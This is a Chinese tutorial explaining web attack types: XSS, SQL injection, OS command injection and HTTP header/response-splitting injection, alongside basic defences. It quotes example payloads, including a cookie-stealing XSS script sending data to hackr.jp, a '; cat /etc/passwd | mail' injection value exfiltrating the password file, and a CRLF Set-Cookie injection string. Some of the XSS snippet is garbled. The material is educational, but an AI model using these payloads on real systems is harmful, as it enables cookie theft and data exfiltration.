互联网上的攻击大都将Web站点作为目标。
(1)简单的HTTP协议本身并不存在安全性问题,因此协议本身几乎不会成为攻击对象。
(2)应用HTTP协议的服务器和客户端,以及运行在服务器上的Web应用等资源才是攻击目标。
(3)HTTP 不具备必要的安全功能
几乎现今所有的 Web 网站都会使用会话(session)管理、加密处理等安全性方面的功能,而 HTTP 协议内并不具备这些功能。
(4)在客户端即可篡改请求
1)在 Web 应用中,从浏览器那接收到的 HTTP 请求的全部内容,都可以在客户端自由地变更、篡改。所以 Web 应用可能会接收到与预期数据不相同的内容。
2)在 HTTP 请求报文内加载攻击代码,就能发起对 Web 应用的攻击。通过 URL查询字段或表单、HTTP 首部、Cookie 等途径把攻击代码传入,若这时 Web 应用存在安全漏洞,那内部信息就会遭到窃取,或被攻击者拿到管理权限。
(1)对 Web 应用的攻击模式有以下两种。
主动攻击
被动攻击
(2)以服务器为目标的主动攻击
1)主动攻击是指攻击者通过直接访问Web应用,把攻击代码传入的攻击模式。
2)由于该模式是直接针对服务器上的资源进行攻击,因此攻击者需要能够访问到那么资源。
3)主动攻击模式里具有代表性的攻击是SQL注入攻击和OS命令注入攻击
(3)以服务器未目标的被动攻击
1)被动攻击是指利用圈套策略执行攻击代码的攻击模式。
2)在被动攻击过程中,攻击者不直接对目标Web应用访问发起攻击。
3)被动攻击通常的攻击模式如下所示。
步骤 1: 攻击者诱使用户触发已设置好的陷阱,而陷阱会启动发送已嵌入攻击代码的 HTTP 请求。
步骤 2: 当用户不知不觉中招之后,用户的浏览器或邮件客户端就会触发这个陷阱。
步骤 3: 中招后的用户浏览器会把含有攻击代码的 HTTP 请求发送给作为攻击目标的 Web 应用,运行攻击代码。
步骤 4: 执行完攻击代码,存在安全漏洞的 Web 应用会成为攻击者的跳板,可能导致用户所持的 Cookie 等个人信息被窃取,登录状态中的用户权限遭恶意滥用等后果。
4)被动攻击模式中具有代表性的攻击是跨站脚本攻击和跨站点请求伪造。
(4)利用用户的身份攻击企业内部网络
1)利用被动攻击,可发起对原本从互联网上无法直接访问的企业内网等网络的攻击。
2)只要用户踏入攻击者预先设好的陷阱,在用户能够访问到的网络范围内,即使是企业内网也同样会受到攻击。
实施Web应用的安全对策可大致分为以下两部分
(1)客户端的验证
(2)Web应用端(服务器端)的验证
(3)Web 应用端的输入值验证按 Web 应用内的处理则有可能被误认为是具有攻击性意义的代码。输入值验证通常是指检查是否是符合系统业务逻辑的数值或检查字符编码等预防对策。
(4)从数据库或文件系统、HTML、邮件等输出 Web 应用处理的数据之际,针对输出做值转义处理是一项至关重要的安全策略。当输出值转义不完全时,会因触发攻击者传入的攻击代码,而给输出对象带来损害。
(1)跨站脚本攻击(Cross-Site Scripting,XSS)是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的HTML标签或Javascript进行的一种攻击。(XSS 是攻击者利用预先设置的陷阱触发的被动攻击 )
(2)动态创建的HTML部分有可能隐藏着安全漏洞。就这样,攻击者编写脚本设下陷阱,用户在自己的浏览器上运行时,一不小心就会受到被动攻击。
(3)跨站脚本攻击有可能造成以下影响
- 利用虚假输入表单片区用户个人信息
- 利用脚本窃取用户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求。
- 显示伪造的文章或图片
(4)跨站脚本攻击案例
1)在动态生成HTML处发生。
1、下面以编辑个人信息页面为例讲解跨站脚本攻击。下方界面显示了用户输入的个人信息内容。
2、确认界面按原样显示在编辑界面输入的字符串。此处输入带有山口一郎这样的 HTML标签的字符串。
3、此时的确认界面上,浏览器会把用户输入的 解析成 HTML标签,然后显示删除线。删除线显示出来并不会造成太大的不利后果,但如果换成使用script 标签将会如何呢。
4、跨站脚本攻击属于被动攻击模式,因此攻击者会事先布置好用于攻击的陷阱。
5、下图网站通过地址栏中 URI 的查询字段指定 ID,即相当于在表单内自动填写字符串的功能。而就在这个地方,隐藏着可执行跨站脚本攻击的漏洞。
6、充分熟知此处漏洞特点的攻击者,于是就创建了下面这段嵌入恶意代码的 URL。并隐藏植入事先准备好的欺诈邮件中或 Web 页面内,诱使用户去点击该 URL。
http://example.jp/login?ID=">
2)该脚本内指定的 http://hackr.jp/xss.js 文件。即下面这段采用 JavaScript 编写的代码。
var content = escape(document.cookie);
document.write("
document.write(content);
document.write(">");
3)在存在可跨站脚本攻击安全漏洞的 Web 应用上执行上面这段 JavaScript 程序,即可访问到该 Web 应用所处域名下的 Cookie 信息。然 后这些信息会发送至攻击者的 Web 网站(http://hackr.jp/),记录在他的登录日志中。结果,攻击者就这样窃取到用户的 Cookie 信息了。
(1)会执行非法 SQL 的 SQL 注入攻击
(2)SQL注入(SQLInjection)是指针对 Web 应用使用的数据库,通过运行非法的 SQL而产生的攻击。该安全隐患有可能引发极大的威胁,有时会直接导致个人信息及机密信息的泄露。
(3)Web 应用通常都会用到数据库,当需要对数据库表内的数据进行 检索或添加、删除等操作时,会使用 SQL语句连接数据库进行特定的操作。如果在调用 SQL语句的方式上存在疏漏,就有可能执行被恶意注入(Injection)非法 SQL语句。
(4)SQL注入攻击有可能会造成以下等影响
- 非法查看或篡改数据库内的数据
- 规避认证
- 执行和数据库服务器业务关联的程序等
(1)OS命令注入攻击(OS Command Injection)是指通过Web应用,执行非法的操作系统命令达到攻击的目的。
(2)只要在能调用Shell函数的地方就有存在被攻击的风险。
(3)可以从Web应用中通过Shell来调用操作系统命令。倘若调用Shell时存在疏漏,就可以执行插入的非法OS命令。
(4)OS命令注入攻击可以向Shell发送命令,让Windows或Linux操作系统的命令行启动程序。也就是说,通过OS注入攻击可执行OS上安装着的各种程序
(5)OS注入攻击案例
1、下面以咨询表单的发送功能为例,讲解 OS 注入攻击。该功能可将用户的咨询邮件按已填写的对方邮箱地址发送过去。
2、下面摘选处理该表单内容的一部分核心代码。
my $adr = $q->param('mailaddress');
open(MAIL, "| /usr/sbin/sendmail $adr");
print MAIL "From: [email protected]\n";
3、程序中的 open 函数会调用 sendmail 命令发送邮件,而指定的邮件发送地址即 $adr 的值。
4、攻击者将下面的值指定作为邮件地址。
; cat /etc/passwd | mail [email protected]
5、程序接收该值,构成以下的命令组合
| /usr/sbin/sendmail ; cat /etc/passwd | mail [email protected]
6、攻击者的输入值中含有分号(;)。这个符号在 OS 命令中,会被解析为分隔多个执行命令的标记。
7、可见,sendmail 命令执行被分隔后,接下去就会执行 cat /etc/passwd | mail [email protected] 这样的命令了。结果,含有
Linux 账户信息 /etc/passwd 的文件,就以邮件形式发送给了[email protected]。
(1)HTTP首部注入攻击(HTTP Header Injection)是指攻击者通过在响应首部字段内插入换行,添加任意响应首部或主体的一种攻击。
(2)属于被动攻击模式。
(3)向首部主体内添加内容的攻击被称为HTTP响应截断攻击(HTTP Response Splitting Attack)。
(4)如下所示,Web 应用有时会把从外部接收到的数值,赋给响应首部字段 Location 和 Set-Cookie。
(5)HTTP 首部注入可能像这样,通过在某些响应首部字段需要处理输出值的地方,插入换行发动攻击。
(6)HTTP 首部注入攻击有可能会造成以下一些影响。
- 设置任何 Cookie 信息
- 重定向至任意 URL
- 显示任意的主体(HTTP 响应截断攻击)
(7)HTTP 首部注入攻击案例
1、下面我们以选定某个类别后即可跳转至各类别对应页面的功能为例,讲解 HTTP 首部注入攻击。该功能为每个类别都设定了一个类别 ID 值,一旦选定某类别,就会将该 ID 值反映在响应内的Location 首部字段内,形如 Location: http://example.com/? cat=101。令浏览器发生重定 向跳转。
2、攻击者以下面的内容替代之前的类别 ID 后发送请求。
101%0D%0ASet-Cookie:+SID=123456789
3、其中,%0D%0A 代表 HTTP 报文中的换行符,紧接着的是可强制将攻击者网站(http://hackr.jp/)的会话 ID 设置成 SID=123456789 的 Set-Cookie 首部字段。
4、发送该请求之后,假设结果返回以下响应。
Location: http://example.com/?cat=101(%0D%0A :换行符)
Set-Cookie: SID=123456789
5、此刻,首部字段 Set-Cookie 已生效,因此攻击者可指定修改任意的 Cookie 信息。通过和会话固定攻击(攻击者可使用指定的会话 ID)攻击组合,攻击者可伪装成用户。
6、攻击者输入的 %0D%0A,原本应该属于首部字段 Location 的查询值部分,但经过解析后,%0D%0A 变成了换行符,结果插入了新的首部字段。
7、这样一来,攻击者可在响应中插入任意的首部字段。
(1)HTTP 响应截断攻击是用在 HTTP 首部注入的一种攻击。
(2)攻击顺序相同,但是要将两个 %0D%0A%0D%0A 并排插入字符串后发送。
(3)利用这两个连续的换行就可作出 HTTP 首部与主体分隔所需的空行了,这样就能显示伪造的主体,达到攻击目的。这样的攻击叫做 HTTP 响应截断攻击。
%0D%0A%0D%0A
之后,想要显示的网页内容